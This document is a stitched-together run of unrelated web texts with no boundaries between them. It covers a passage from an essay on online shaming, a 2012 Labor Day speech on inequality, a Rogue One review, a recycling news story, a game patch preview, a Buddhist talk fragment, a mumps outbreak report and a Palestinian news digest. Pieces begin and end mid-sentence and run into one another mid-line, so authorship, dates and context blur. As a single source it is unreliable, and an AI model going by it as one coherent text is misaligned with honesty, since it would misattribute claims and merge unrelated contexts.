However, until schadenfreude and moral panics stop being good for ratings/pageviews/upvotes/likes/retweet counts, I worry that won’t be the case. Using other people’s humiliation and/or “just desserts” as entertainment (dramatic or humorous) is as timeless as shaming itself — moderation and reason aren’t fun to watch. We are not dealing just with individual instances of specific behavior, we are dealing with a system in which we are all complicit, and that is a much, much harder thing to change.
* Thanks to Mary L. Gray for this framing.
Previously: The Meme Election: Clicktivism, The Buzzfeed Effect And Corporate Meme-Jacking
In the Summer of 2012, Whitney Phillips received her PhD in English (Folklore/Digital Culture emphasis) from the University of Oregon. Her dissertation, titled “This is Why We Can’t Have Nice Things: The Origins, Evolution and Cultural Embededness of OnlineTrolling,” pulls from cultural, media and internet studies, and approaches the subject of trolling ethnographically. She writes about internet/culture here and here and is currently a lecturer at NYU.
Kate Miltner is the Research Assistant for the Social Media Collective at Microsoft Research New England. She received her MSc from the London School of Economics after writing her dissertation on LOLCats, something for which she has been mocked mercilessly in the comments sections of Gawker, The Huffington Post, Mashable, Time Magazine, and the Independent. She has also written about internet culture for The Guardian and The Atlantic. You can find out more about her at katemiltner.com.
The authors would like to thank Chris Menning at ModPrimate and the Social Media Collective at Microsoft Research for their input and support.Labor Day, 2012
The American people are angry. They are angry that they are being forced to live through the worst recession in our lifetimes - with sky-high unemployment, with millions of people losing their homes and their life savings. They are angry that they will not have a decent retirement, that they can't afford to send their children to college, that they can't afford health insurance and that, in some cases, they can't even buy the food they need to adequately feed their families.
They are angry because they know that this recession was not caused by the middle class and working families of this country. It was not caused by the teachers, firefighters and police officers and their unions who are under attack all over the country. It was not caused by construction workers, factory workers, nurses or childcare workers.
This recession was caused by the greed, recklessness, and illegal behavior on Wall Street. And, what makes people furious is that Wall Street still has not learned its lessons. Instead of investing in the job-creating productive economy providing affordable loans to small and medium size businesses, the CEOs of the largest financial institutions in this country have created the largest gambling casino in the history of the world.
Four years ago, after spending billions of dollars to successfully fight for the de-regulation of Wall Street, the CEOs of the big banks - JP Morgan Chase, Bank of America, Goldman Sachs and the others, went on a losing streak. The enormous bets they made on worthless, complex, and exotic financial instruments went bad, and they stuck the American people with the bill.
Wall Street received the largest taxpayer bailout in the history of the world. But it was not just the $700 billion that Congress approved through the TARP program. As a result of an independent audit that I requested in the Dodd-Frank bill by the non-partisan Government Accountability Office, we now know that the Federal Reserve provided a jaw-dropping $16 trillion in virtually zero interest loans to every major financial institution in this country, large corporations, foreign central banks throughout the world, and some of the wealthiest people in this country.
And, instead of using this money to provide affordable loans to small businesses, instead of putting this money back into the job-creating productive economy, what have they done? They have gone back to their days of running the largest gambling casino in the world. In other words, they have learned nothing.
The American people are angry because they see the great middle class of this country collapsing, poverty increasing and the gap between the very rich and everyone else grow wider. They are angry because they see this great country, which so many of our veterans fought for and died for, becoming an oligarchy - a nation where our economic and political life are controlled by a handful of billionaire families.
In the United States today, we have the most unequal distribution of wealth and income since the 1920s. Today, the wealthiest 400 individuals own more wealth than the bottom half of America - 150 million people.
Today, the six heirs to the Wal-Mart fortune own more wealth than the bottom 30 percent.
Today, the top one percent own 40 percent of all wealth, while the bottom sixty percent owns less than 2 percent. Incredibly, the bottom 40 percent of all Americans own just 3/10ths of one percent of the wealth of the country.
According to a new study from the Federal Reserve, median net worth for middle class families dropped by nearly 40 percent from 2007-2010. That's the equivalent of wiping out 18 years of savings for the average middle class family.
The distribution of income is even worse. If you can believe it, the last study on this subject showed that in 2010, 93 percent of all new income created from the previous year went to the top one percent, while the bottom 99 percent of people had the privilege of enjoying the remaining 7 percent. In other words, the rich are getting much richer while almost everyone else is falling behind.
Not only is this inequality of wealth and income morally grotesque, it is bad economic policy. If working families are deeply in debt, and have little or no income to spend on goods and services, how can we expand the economy and create the millions of jobs we desperately need? There is a limit as to how many yachts, mansions, limos and fancy jewelry the super-rich can buy. We need to put income into the hands of working families.So, it’s the new year, and I think it’s finally been long enough that I can talk about Rogue One. I like to wait a while, first to give spoilers a chance to clear, but also because my thoughts tend to evolve over time, particularly for movies where I have an emotional attachment to the franchise. The short version goes like this: while Rogue One was by no means a bad movie (one of the strengths of the Disney/Marvel/Lucasfilm monster is that its movies, while not always good, are usually competent rather than confusing disasters in the vein of Attack of the Clones or Suicide Squad) it’s also not a great one, and definitely not the movie I hoped it would be.
SPOILERS, obviously, from here on out!
So I have to say I was always excited about this movie. I was generally pleased with The Force Awakens, but left slightly cold by the way that it reused so much of the story of A New Hope. There was the chance that a new, non-sequential Star Wars movie could take chances and be different, give us something new and cool! And the trailers looked promising. I’m trying, therefore, to engage with the movie Rogue One actually is, rather than the movie I would like it to be.
So why didn’t I like it? It’s complicated, but I think it boils down to characters. Rogue One‘s characters are … sketches, I guess, is the way I’d describe them? They suggest character development and things that might be cool, but we don’t actually see any of it on screen, largely because there simply isn’t time. And that’s the first, most basic problem: there are too many main characters, and their complicated introduction and action set-pieces eat up so much running time that we get hardly any understanding of any of them.
Aside: As we go through them, I’m going to say things like “this character isn’t necessary”. It’s important to understand this to mean “not necessary to the story” rather than “not necessary to the plot“. Because this movie is basically competent, characters generally are given something to do, but throwing in an invented obstacle for them to overcome doesn’t actually justify their inclusion in the story.
This is important, so let’s take A New Hope as an example. All of our main characters are needed, not just for the mechanics of the plot (Obi-Wan and Luke have to get to Alderaan somehow) but for the story. They tend not to overlap one another — Luke is the naive farmboy-turned-hero, Obi-Wan the wise mentor, Han the scoundrel who learns friendship, and Leia the object of rescue who refreshingly turns out to be pretty competent. Two droids for comic relief, and on the imperial side we have Vader as the vicious, mysterious side of the Empire and Tarkin as the cold, bureaucratic side. We need these people — you could come up with an alternate route to Alderaan, but the story doesn’t work with Han Solo or someone like him. (He’s the foil for Luke, his arc provides the final closure to the Death Star battle, and so on.) The point is just because Bodhi Rook has to plug a thing into another thing to save the day doesn’t mean he’s necessary in a narrative sense.
So let’s talk about —
The Characters
K-2SO: I’m actually fine with him, although I know some people objected. Star Wars has a long tradition of comic-relief droids, and K-2 hits the right balance for me — he’s similar to C3PO in that he’s a pessimist, but he’s morbid and his dark humor is different enough to be interesting. He also doesn’t require a ton of backstory or introduction. No problems here.
Bodhi Rook: As you may have gathered from above, the inclusion of this character in the final crew is kind of baffling to me. He starts off as a MacGuffin (the defecting pilot who brings the message) but then kind of tags along, for no obvious reason. He also has a really strange scene with some kind of mind-invading tentacle monster that serves no purpose. (Things that serve no purpose are kind of a theme.) I was pretty sure they were going to kill him off in the escape from Jedda, which would have made sense, but no. Anyway, he consumes some screentime and has to have a heroic moment at the end, with no character arc or payoff. (We never find out why he was willing to make the borderline-suicidal move of betraying the Empire, other then a general good feeling toward Galen and not being in favor of blowing up planets. Why this guy instead of literally millions of other guys?)
Saw Gerrera: In contrast, I thought for sure Saw would join the team. It would make sense — he’s the old, grizzled veteran, to contrast with young Jyn and Cassian, plus he and Jyn have history together, plus he’s in conflict with the rest of the Rebels. (Jyn’s speech scene makes waaaay more sense if the attack plan is suggested by Saw and then the rest of the rebels balk.) Instead he stands around for a while and then chooses death for no reason. (Seriously, you say “I’m done running” when you’re going to make a heroic last stand, not just get blown to bits by a shockwave.) That’s another slightly baffling choice — if he was going to die, the obvious move would be to have him sacrifice himself for Jyn, shove her out of the way of a falling rock and be trapped himself, “Fly you fools!”, etc.
A cynic might say the problem here is stunt casting: Forest Whitaker is in his fifties, a big-name actor, maybe not too enthused about Star Wars. So he comes in, gets into a fancy suit, shoots all his scenes in one location in a couple of days, with no action or anything particularly difficult. I have no idea if this is true or not, to be clear, but that’s what we ended up with.
Chirrut Îmwe & Baze Malbus: This is a tough one for which I am likely to get some pushback. But here’s the thing — I like these characters, they’re fun and potentially interesting (probably moreso than Cassian) but as written, they don’t really have a place in the story. To go back to the idea of narrative necessity, you could remove both of them completely and the movie would work just fine. Chirrut kinda-sorta acts as the mentor/Obi-Wan type, at least he seems like he should, but the movie doesn’t actually give him any of that to do — Jyn doesn’t have a conflict about whether she believes in the Force and doesn’t go to him for advice. He’s a mentor without a mentee. All they really do is shoot/fight stormtroopers, participate in the heroic ending, and die tragically.
In sum, someone please make the Chirrut & Baze movie, comic book, whatever, the story about them adventuring around and bickering about the Force, and I’d happily read/watch/buy it. But as far as Rogue One goes they don’t really add anything, and they take up a lot of running time between their introduction, their show-off fights, and later dialogue.
The need for all these characters to be introduced in random ways make the plot of the first half of the movie kind of a convoluted mess. We’ve got Jyn breaking out of jail, being dragooned to help the rebels, going to Jedda, picking up more characters, going to meet Saw and picking up more characters, so it’s a good 30-45 minutes before we even have our main crew together. Crucially, very little of this time is spent getting to know them, and a lot more on fights and running away from things. The first character beats really come on Edu, when Cassian has to decide whether or not to kill Galen, but we’ve had nothing to that point to let us know why he would go either way.
That brings us to our heroes, Jyn Erso and Cassian Andor. Jyn is, theoretically, the protagonist, which means that her actions should drive the plot, and her character arc should define the overall story. But it’s just not there — I don’t even know what her character arc is supposed to be! To … become a rebel? Except she was already a rebel before Saw ditched her. To learn something about her father, or alter their relationship, or something? But they never meet. To struggle with Cassian about idealism vs. realpolitik in the Rebellion? She’s already pretty cynical, and in any event that never actually happens. She doesn’t even have much personal hatred for Krennic, since she doesn’t seem to recognize him and vice versa.
As set up, Cassian is in the real protagonist’s spot in the story. He’s the one who gets the mission to get the Death Star plans, and he gets set up with the moral conflict of rescuing vs. killing Galen. We see him casually murder an informant early on, setting up that he’s grown jaded and cynical in the Rebellion. All the ingredients are there for a character arc, but it never actually happens, and the focus stays relentlessly on Jyn.
Jyn, meanwhile, has nothing about her character that doesn’t relate to her being Galen’s daughter. Does she have any particular skills? Hobbies? Relationships? We get almost literally nothing. It’s kind of a shock when Saw reveals that he raised Jyn and trained her as a rebel until she was sixteen — why isn’t that scene in the movie? It might give their reunion and his death a little weight! Instead, she’s Galen’s daughter so Saw will like her, then she’s got to rescue Dad, then she’s got to do what Dad wanted, then she dies.
This is, ultimately, where the movie falls down. You can debate whether it’s okay to end the movie with everyone dying or not, but for me what it comes down to is that a tragic ending, in order to actually have tragedy, needs well-developed characters. I might have cared more about Jyn and Cassian being blown up if we’d gotten to know them a little better; instead I cared more about Chirrut and Baze, possibly because their actors have more charisma. (It’s also a weird choice to give everyone tragic death scenes and then have the superlaser take out half the planet, since it makes all the earlier tragedy meaningless.)
It’s hard for me not to imagine what might have been. One approach would be to just drop everyone except for Jyn, Cassian, and K-2SO. Figure out an arc for Jyn and for their relationship — an obvious candidate would be idealistic Jyn vs. cynical Cassian, with him secretly ordered to kill Galen, and eventually coming to remember his idealistic roots due to her steadfast heroism. But give it some time to breathe, to have some witty dialogue between the two of them, to find out who they are.
Another approach would be to keep the ensemble cast but cut out all the backstory and introductions, leaving more time for character development. Keep the plot very straightforward — a team of Rebels is assigned to get the Death Star plans. Jyn, Galen’s daughter, is put on the team, who are at first distrustful of her as a novice, but she eventually wins them over. They have to sneak around Imperial bunkers, fight guys, etc, and the team members each have some kind of purpose and unique character. I’m thinking of this modeled on Aliens, for example — most of the marines have personalities and character, but we don’t get complex backstory, we just see their camaraderie and how they react to the newcomer. (It’s really strange when Cassian on Yavin says, “Hey I’m going to help and I brought my friends!” And we get a shot of a bunch of rebels we’ve never seen before, who are clearly cannon fodder. Are we supposed to feel something? But if we’d actually seen a crew of guys earlier in the movie, and then they all show up to help, it works!)
There’s other things you can quibble about here — gender issues, for starters. (Main female character is accessory to her father, near-total lack of women extras. There’s a TV Trope called Men Are The Expendable Gender that’s always been a pet peeve for me, where we can have main characters be women and kick ass, because they only get hurt if its plot-appropriate, but the horde of expendable extras have to be men because they die in droves.) But for me personally, it’s these character issues that are at the center of it left me feeling “meh” when I left the theater. As Star Wars movies go, I have to put this one below the originals and Force Awakens. (It’s sure as hell better than Revenge of the Sith, but that’s a low bar.) And it’s a shame, because I really wanted to like it.
(I really wish Disney/Lucasfilm would get away from having everything be tied super-tightly to the original trilogy. Just give us like … the adventures of an imperial pilot escaping after being shot down in a random battle, and the rebels he befriends. Or anything that’s not literally tied to the original trilogy plot. Sadly, since the next stand-alone is Han Solo, this seems unlikely…)Metro Vancouver recycling firms are seeing a backlog of recyclable materials, particularly plastics, after China decided it would no longer accept other nations’ dirty plastics or potentially contaminated recovered materials.
China’s so-called 10-month Green Fence policy, which came into effect in February, has resulted in stricter scrutiny of foreign containers carrying everything from paper to metals and plastics when they arrive at the Chinese docks.
If a load is considered to be at all potentially contaminated — containing food or glass or mixed materials, for instance — the entire load is rejected on the spot and sent back, at what some say costs an estimated $10,000 to $18,000 per container.
Plastic bags, lower-grade plastics, coloured plastics or materials with food residue are among the materials being turned back. In one case, bales of what were supposed to be mixed paper were rejected en route.
The situation, which has affected exporters from North America to Europe, has led to a “significant” backlog of mainly low-grade plastics at sites such as Urban Impact’s New Westminster recycling plant, said CEO Nicole Stefenelli. The company has also hired more staff to ensure any products are clean before the inspections stage and before they’re loaded onto containers.
“We have not had any rejections but you can imagine the costs of a rejected load,” Stefenelli said. “It’s not really a positive situation. It’s very challenging. Ultimately we have to have somewhere to store (the material) while we decide what to do with it or find an alternative source, or it goes into the landfill.
“Real estate is expensive in the Lower Mainland. You can’t just sit on this product forever.”
The move, part of China’s attempts to boost the country’s environmental performance, comes more than a decade after China opened its doors to the world with an insatiable appetite for recovered metals, plastics and fibre.
Its decision to shut the door now poses a near-crisis to the industry, with prices for exports of shredded aluminum falling amid a rise in piles of plastic bags and yogurt containers at local depots.
But Stefenelli noted the move also highlights the need for recyclers to provide more quality products to China, which had been seen by some as a dumping ground for waste. “It means an emphasis on quality,” she said. “We can’t just dump things in a market just because they have an appetite for it.
“What needs to be recognized by all parts of the supply chain is the more mixed it is, the more difficult it is to make a quality product at the end. You really have to spend more time to make sure the quality is there.”
Stefenelli believes China will eventually change its mind as it needs a massive amount of recovered materials. But in the meantime, the industry will have to shape up, she said, by creating a better blend of domestic and foreign markets.
Sebastian van Wollen, president of Blue Planet Recycling in Langley, which processes plastic materials, said it’s about time more companies looked domestically to recycle materials.
Jason Kemp, manager of Westcoast Plastic Recycling, agreed. His company, which had shipped about 60 containers a month to China when the situation was more flexible, was shocked when the edict first came down, he said, but two weeks ago decided to diversify into more domestic and North American markets. His company is also continuing to look for opportunities in India and Malaysia.
“This just gave us a heavy push we needed to keep all that we could local,” Kemp said. “There are a lot of people going through a lot of hard times right now.”
Allen Langdon, of Multi-Materials B.C., a non-profit group of retailers and manufacturers, said his organization hopes to avoid such situations by changing the way products are packaged.
MMBC is devising a plan to reduce the amount of packaging and to make industry bear the full cost of recycling products and packaging and increase the opportunities for recycled content.
“Our whole strategy is finding ways to increase the value for those materials,” he said. “At the end of the day we have to create a market in a number of places, not just China.”
ksinoski@vancouversun.comCho'gall, once a key executor of the nihilistic Twilight's Hammer's vision, has been struck down. Lady Sinestra, consort of Deathwing and mother to the malevolent black dragons Nefarian and Onyxia, has fallen at the hands of great heroes. Ragnaros, lord of the realm of fire in the Elemental Plane, and Al’Akir, baron of the realm of air -- both mighty arbiters of Deathwing's destructive ends -- have themselves been purged. But even with so many of Deathwing's servants now vanquished, he freely roams the skies of Azeroth, wreaking havoc on the land and its people. It's in these darkest of hours that the forces standing against Deathwing must carry out a desperate plan to put an end to his devastating twilight flight.
The other Dragon Aspects, with allegiance from Thrall, have devised a dangerous and unorthodox strategy to bring Deathwing down once and for all. But to do so, they must acquire the Dragon Soul from a pivotal moment in the distant past... and they're going to need your help. In patch 4.3, level-85 players will gain access to three new Heroic-difficulty five-player dungeons, embarking on quests to aid the Aspects and other familiar faces in a fight against Deathwing, the Twilight's Hammer, ancient armies of the Burning Legion and Highborne... and even time itself.
Much like the experience in the five-player content of Icecrown Citadel, players must quest through these dungeons sequentially to unlock access to them in the Dungeon Finder. You'll also be afforded the opportunity for all-new epic loot, including new dungeon sets. While these sets aren't broken down |
fear of dying. So in this context the Zen Monastic life has something to offer you.
First published in the February 2003 issue of Buddhism Now
Click here for some other teachings on Korean Buddhism
[Jisu Sunim was a regular speaker at the Leicester Buddhist summer schools for many years. The above is from a talk given in 1998. He is a patron of the Golden Buddha Centre, Totnes and is based in London and Korea.]
Categories: Biography, Buddhism, Buddhist meditation, Chan / Seon / Zen, Encyclopedia, History× Health officials: King County mumps outbreak rises to 22
SEATTLE — The number of mumps cases in King County has risen to twenty-two with 5 confirmed and 17 probable cases being investigated, health officials said Friday. Four additional cases are also under investigation.
All the causes are in Auburn.
Public Health Seattle & King County said fifteen patients range in age from 5 to 17.
No one has been hospitalized, and all of the children have recovered. Health officials say all of the children diagnosed are up-to-date on MMR vaccine.
Public Health continues to work with the Auburn School District to identify potential mumps cases and provide information to families and other community members about preventing mumps.
Anyone with symptoms of mumps should keep away from other and not go to school until five days after their glands swell since they are contagious during this period. As standard practice during a mumps outbreak, CDC advises that families with unvaccinated children protect their children and slow the spread of illness by keeping them away from school until they can get at least one vaccination.
“The most effective way to reduce the risk of getting mumps and its complications is to be up to date with MMR vaccinations,” said Dr. Jeff Duchin, Health Officer for Public Health – Seattle & King County. “Because some people do not respond to the vaccine and mumps spreads easily from person to person, outbreaks can still occur in vaccinated populations. But, if unvaccinated, many, many, more people would become ill.”
Mumps is an illness caused by a virus that can cause fever, headache, and swelling of the cheeks and jaw. Most people recover from mumps in a few weeks.
In rare cases, mumps can lead to more serious complications that may require hospitalization, including inflammation of the brain and spinal cord and deafness. Up to 30% of people with mumps infection will have no symptoms.
A person with mumps can spread the virus by coughing, sneezing, or spraying saliva while talking. It can also be spread by sharing cups or eating utensils, and by touching objects or surfaces with unwashed hands that are then touched by others.
For more information about mumps, click here.Land, property theft & destruction / Ethnic cleansing / Restriction of movement
UNESCO visit to Jerusalem canceled by Israel
Times of Israel 20 May by Gavriel Fiske — Palestinian ‘politicization’ of UN mission cited as reason for decision to block inspection of Old City — In a last-minute about-face, Israel said Monday that it would not allow a UNESCO delegation to inspect Jerusalem’s Old City as had been arranged. The visit had been heralded as a possible sign of a thaw in ties between Israel and UNESCO, after Jerusalem cut off contact with the UN body following its recognition of a Palestinian state in 2011.
http://www.timesofisrael.com/unesco-visit-to-jerusalem-canceled-by-israel/
Villagers threatened with ethnic cleansing hold a sit-in outside Beit Eil court
Al-Khalil (PIC) 20 May — Dozens of Palestinian families from eight villages south of al-Khalil, held a sit-in outside the headquarters of the Israeli Civil Administration, in Beit Eil, on Sunday afternoon, during a Court hearing to look into the appeal made by the villagers against the demolition of their homes due to lack of license. The IOF moved the villagers by force hundreds of meters from the administration building while allowing settlers to attend the Court hearing. The Israeli ministry of war decided to demolish eight Palestinian villages south of Hebron known as “Susia” villages, they are: Jazz, Taban, Wasfi, Alfkhait, Alhalawa, Almarakz, Janba and Kharouba at pretext of building without a permit.
http://www.palestine-info.co.uk/En/default.aspx?xyz=U6Qq7k%2bcOd87MDI46m9rUxJEpMO%2bi1s7sYPz7fLOgttdVkH6ByISN9tk1cxr0a7LJ%2fKeaUROvjN7DYhQxTOG80Tb0Pb3Z4M13ABg0fYg7E%2fRf8phqg4Is6dM%2bJz62rz%2fjgzoBzVM6ds%3d
Israel demolishes car dealership in Jerusalem
JERUSALEM (Ma‘an) 20 May – Israeli bulldozers demolished a car dealership in the Sheikh Jarrah neighborhood of Jerusalem and an apartment in Shu‘fat refugee camp allegedly built without a permit, residents said. The owner of the car dealership, Muhamad al-Julani, said he was shocked when he received a call from the Israeli side informing him that he had to remove 65 cars from the site ahead of the demolition. Israeli troops surrounded the Sheikh Jarrah neighborhood at 5:30 a.m. accompanied with dogs and bulldozers preparing to demolish the dealership, a Ma‘an correspondent observed. He added that the owner was removing cars from the site. Julani told Ma‘an that he tried to get a permit for three years. His case is pending in the court and he is “totally shocked” by the decision to demolish the site without informing him officially.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597296
Israeli court postpones East Jerusalem eviction decision
JERUSALEM (Ma‘an) 20 May — An Israeli court on Monday postponed a decision regarding the eviction of 10 people from their home in Sheikh Jarrah, East Jerusalem. Muhammad Ayoub Shamasnah, the son of the home-owner, told Ma‘an that the court did not make a final decision about the eviction and has postponed the case until further discussions. The court suggested during the hearing that the family could remain in the property until the elderly parents die, but settlers who are targeting the property once the family is evicted refused the proposal, he added … The property is home to Muhammad Shamasnah, 82, his wife, their son Muhammad Ayoub and his wife and children, totaling 10 people.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597514
Israel demolishes 4 homes in East Jerusalem
JERUSALEM (Ma‘an) 21 May — Israeli forces demolished two residential buildings in the Jabal al-Mukabbir neighborhood of East Jerusalem on Tuesday, having earlier destroyed two Palestinian homes in al-Tur … One building belonged to the Abu al-Dabaat family and consisted of three floors housing four families in four apartments totaling 480 square meters. “The building has been there since 1973,” said Raed Abu al-Dabaat, one of the apartment owners. “It was built on land owned by my father, and he lived there since 1930,” he told Ma‘an. “After the building was finished my father was arrested and sentenced to two years for allegedly building without a permit. In 2007, we were fined 160,000 shekels ($44,000), and two years later a demolition order was given but we managed to stop it,” Abu al-Dabaat said, adding that the family had not received any new demolition orders.
Israeli forces assaulted family members in clashes that erupted before the demolition, and three Palestinians were arrested, a Ma‘an reporter said.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597708
WATCH: ‘My Neighborhood’ — the human impact of settlements in Sheikh Jarrah
972blog 17 May — 26-minute film — Just Vision’s Peabody Award winning film, My Neighbourhood (directed by Julia Bacha and Rebekah Wingert-Jabi), tells the story of Mohammed El Kurd, a Palestinian teenager in the East Jerusalem neighborhood of Sheikh Jarrah whose family is forced to share a section of their home with Israeli settlers. Mohammed comes of age in the midst of unrelenting tension with his neighbors and unexpected cooperation with Israeli allies in his backyard. The struggle against evictions of Palestinian families in Sheikh Jarrah returned this week as the Shamasneh family stands to lose its home, which would be the neighborhood’s first eviction since 2009.
http://972mag.com/watch-my-neighbourhood-the-human-impact-of-settlements-in-sheikh-jarrah/71657/
Walking tours highlight West Bank’s shrinking landscape
Deir Ghassaneh (IPS) 20 May by Jillian Kestler-D’Amours — A reddish-brown dome sits atop an ancient stone house, used hundreds of years ago for prayer. It peeks out from the surrounding trees as the rolling green valleys and hills of the central West Bank stretch out into the distance. This shrine, known as the al-Khawass shrine, sits 540 meters above sea level in the Palestinian village of Deir Ghassaneh. It is one of several stops along the Sufi trail, which begins in the valley below and takes visitors and locals alike back in time to when Sufism, a mystical form of Islam, was widespread in the area … “The landscape in the West Bank is shrinking, vanishing, dying slowly. It’s mainly because of the occupation. If we come close to settlements, we risk being attacked. It’s really sad to see tracks that we’ve been walking nicely suddenly off limits for us,” al-Mohor explained.
http://electronicintifada.net/content/walking-tours-highlight-west-banks-shrinking-landscape/12477
Excavations in the Buraq Square and Umayyad palaces
OCCUPIED JERUSALEM (PIC) 21 May — The Israeli occupation authority has accelerated on Monday its excavation and destruction in Buraq square and Umayyad palaces south of al-Aqsa mosque as a prelude to establish the so-called “Israeli Strauss Center project,” a new Jewish-only building includes a police station and a Rabbi visitors centre. Al-Aqsa Foundation for Endowment and Heritage confirmed that Israeli bulldozers started digging on Monday morning in the Buraq area for the installation of steel shoring columns. The excavations led to the removal of several Arab and Islamic monuments in the area.
http://www.palestine-info.co.uk/En/default.aspx?xyz=U6Qq7k%2bcOd87MDI46m9rUxJEpMO%2bi1s7f1tiU5VpvGqOWpHcyKWkuZe2uByRluUDB9P3FbnRdbncBe57iDFk26OiVIOy8xjSzhPAfCTa78LxJsHOKw5sE5j4NV9eZky9oTsBX1qea%2fU%3d
Prelude to land theft: a livelihood trashed in Aqraba
ISM 21 May by Team Nablus — Seven hundred olive trees were uprooted first thing in the morning of 16th May while a bulldozer got to work destroying the farmer’s concrete water storage facility and surrounding dry stone walls and fences in Aqraba. The Israeli army, who did some of the damage along with specially contracted workers, has since returned to check that the ground has not been replanted. Arriving at 6am, the military came in jeeps and with a bulldozer and, along with the other workers, began to trash the wire fence enclosing the area and pull up the trees on it by hand. They came without any prior notification. When the mayor made a complaint on the scene at about 8am, saying that demolitions cannot happen without the land owner being warned and signing a confirmation as such; even citing several simple ways in which the owner or, at least, the municipality could be informed. He was told that an order had been delivered and placed “on a rock” there some “two years ago”.
http://palsolidarity.org/2013/05/prelude-to-land-theft-a-livlihood-trashed-in-aqraba/
Israeli forces issue demolition orders to Bedouins in Yatta
HEBRON (Ma‘an) 20 May — Israeli forces issued demolition orders to seven Bedouin families in south Hebron on Monday, locals said. Israeli military vehicles raided an area east of Yatta and issued the orders to Bedouin families from the al-Hathalin tribe, witnesses told Ma‘an.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597521
Army uproots farmlands in Hebron, destroys irrigation systems
IMEMC 20 May — Israeli soldiers uprooted, on Monday, more than four Dunams (0.98 Acres) of agricultural lands in Al-Baq‘a village, east of Hebron, in the southern part of the occupied West Bank. Ata’ Jaber, a local farmer, told the Palestinian New & Info Agency (WAFA) that the army uprooted and bulldozed the lands, and destroyed irrigation systems. Jaber added that the lands were planted with tomato seedlings, beans, and zucchinis, and are nearly 500 meters away from the Kharseena illegal Israeli settlement.
http://www.imemc.org/article/65511
[Settlers burn lands in Nablus]
AL-KHALIL, NABLUS (PIC) 21 May — Israeli occupation forces (IOF) raided Palestinian towns and villages around al-Khalil on Monday and erected military checkpoints at their entrances … Meanwhile, Israeli settlers from Gilad settlement set fire to Palestinian lands belonging to villagers from the villages of Immatin and Far‘ata in an attempt to burn the wheat crop. Eyewitnesses said that the Israeli forces prevented the Palestinian farmers from reaching their fields to put out the fire and arrested a Palestinian villager claiming he was trying to attack the soldiers.
http://www.palestine-info.co.uk/En/default.aspx?xyz=U6Qq7k%2bcOd87MDI46m9rUxJEpMO%2bi1s7Lo376V4rytJ0IsLQ0yv4Qk2aVxxgjZwufWLvQNATnc7Ov668BAI7oaAwqwgxDgtjaKQy0FO5ewqd0zPha2nxhHLK8HgeVe1fF8%2fdRtwYxW8%3d
Israeli forces demolish commercial property in Jenin
JENIN (Ma‘an) 20 May — Israeli forces on Monday demolished four commercial properties at the southern entrance of Barta‘a which located behind the Israeli separation wall. Israeli forces claimed the properties were not licensed and that they were located outside the allowed area for Palestinians, an official said. Tawfiq Qabha, a member of the village council, told Ma‘an that 15 military vehicles and two bulldozers entered the village about 5:30 a.m. and began demolishing shops for used car parts.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597253
Houses, fences and fruit trees: a decade of watching settlements grow
Times of Israel 20 May by Matti Friedman — A trip through the West Bank with Dror Etkes, who tracks how Israel’s settlements are altering the physical, political and human landscape in one of the world’s most complicated pieces of land — It has been just over a decade since Dror Etkes began criss-crossing the West Bank in a long war of unstinting dedication and uncertain efficacy against the spread of Israeli settlements. In these years, Etkes, 44, has developed the skills of a political tracker — an expert at discerning what the landscape can reveal about the humans vying for control of this small piece of crowded and disputed land … Viewing a series of aerial photographs of one location over several years, he knows that dark brown fields divided into small, uneven plots means land worked by Palestinian farmers. Grayish soil means the land has been abandoned, sometimes because of closures by the army or because the Palestinian owners fear violence from settlers. When, a few years later, neat green rows of trees or vines appear, it usually means Israeli farmers are now working the same land. It is a pattern he has seen repeated across the West Bank.
http://www.timesofisrael.com/houses-fences-and-fruit-trees-a-decade-of-watching-settlements-grow/
Report notes restrictions on Israel, Palestinian journalists
Al-Monitor 20 May by Daoud Kuttab — If physical access is an important requirement for good journalism, the ability of Palestinians and Israelis to cover their ongoing conflict is largely compromised. This is one of the issues raised by a delegation of the International Press Institute (IPI) that visited Palestine and Israel in February … The report notes that Israeli and Palestinian journalists are denied physical access to the other’s territory and at times even the ability to speak to sources on the other side. Israel denies access by journalists on both sides — its security forces control the entry of Palestinians into Israeli territory as well as Israelis into Gaza — though for different reasons. One factor is that Israel simply does not recognize the existence of a Palestinian press … a Palestinian journalist can be accredited if working for the BBC or Mexican TV, but not if he or she works for Palestine TV in Ramallah or the Felesteen daily out of Gaza.
http://www.al-monitor.com/pulse/originals/2013/05/ipi-report-press-freedom-israel-palestine.html
Palestinians demolish part of separation wall
Al-Monitor 20 May by Linah Alsaafin — On Friday night, May 16, a group of 20 Palestinians drilled a hole in the wall at the Abu Dis checkpoint, between the villages of al-Ezzariya and Abu Dis, and broke it down to enter the Ras il-Amood neighborhood in Jerusalem … The reaction from the Israeli army was predictably frantic and disproportionate. Live ammunition was fired at the protesters, in addition to sound bombs and shock grenades. The hole in the wall expanded to four meters, and according to Salah Khawaja, spokesperson for the Palestinian Authority Ministry of State concerning Israeli settlements and Apartheid Wall Affairs, at least three people crossed to Jerusalem and made their way to al-Aqsa Mosque for evening prayers. Abu Dis and Ras il-Amood used to be adjacent towns before the wall divided them, splitting neighbors and relatives from each other as well as multiplying distances and difficulty in reaching one area from another.
http://www.al-monitor.com/pulse/originals/2013/05/israel-separation-wall-palestine.html
Violence / Attacks / Raids / Clashes / Arrests
Israeli forces shoot teen near Ramallah
RAMALLAH (Ma‘an) 21 May — Israeli forces on Tuesday shot and injured a Palestinian teenager in Jalazoun refugee camp near Ramallah, witnesses and the Israeli army said. Witnesses told Ma‘an that Atta Sabah, 13, was walking with school friends when Israeli forces opened fire at the group and hit him in the back. An Israeli military spokeswoman said soldiers opened fire at a Palestinian trying to hurl a firebomb at Israeli forces during a riot in the area … Sabah is undergoing surgery at the Palestine Medical Complex in Ramallah.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597868
Clashes in Hebron as Israeli forces search Palestinian woman
